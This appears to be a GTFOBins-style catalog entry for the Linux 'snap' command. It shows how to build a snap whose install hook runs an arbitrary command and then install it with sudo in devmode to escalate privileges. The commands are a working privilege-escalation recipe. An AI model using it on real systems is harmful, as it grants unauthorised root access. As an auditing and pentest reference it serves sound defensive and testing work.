CatalogGTFOBins

GTFO · Tool

snap

1 techniqueLinuxGTFOBinsGPL-3.0

command

ExecutionPrivilege EscalationLinux

Generate the Snap package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` mkdir -p meta/hooks echo -e '#!/bin/sh\n/path/to/command; false' >meta/hooks/install chmod +x meta/hooks/install fpm -n xxxx -s dir -t snap -a all meta ```

snap install xxxx_1.0_all.snap --dangerous --devmode
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
command
MITRE
T1059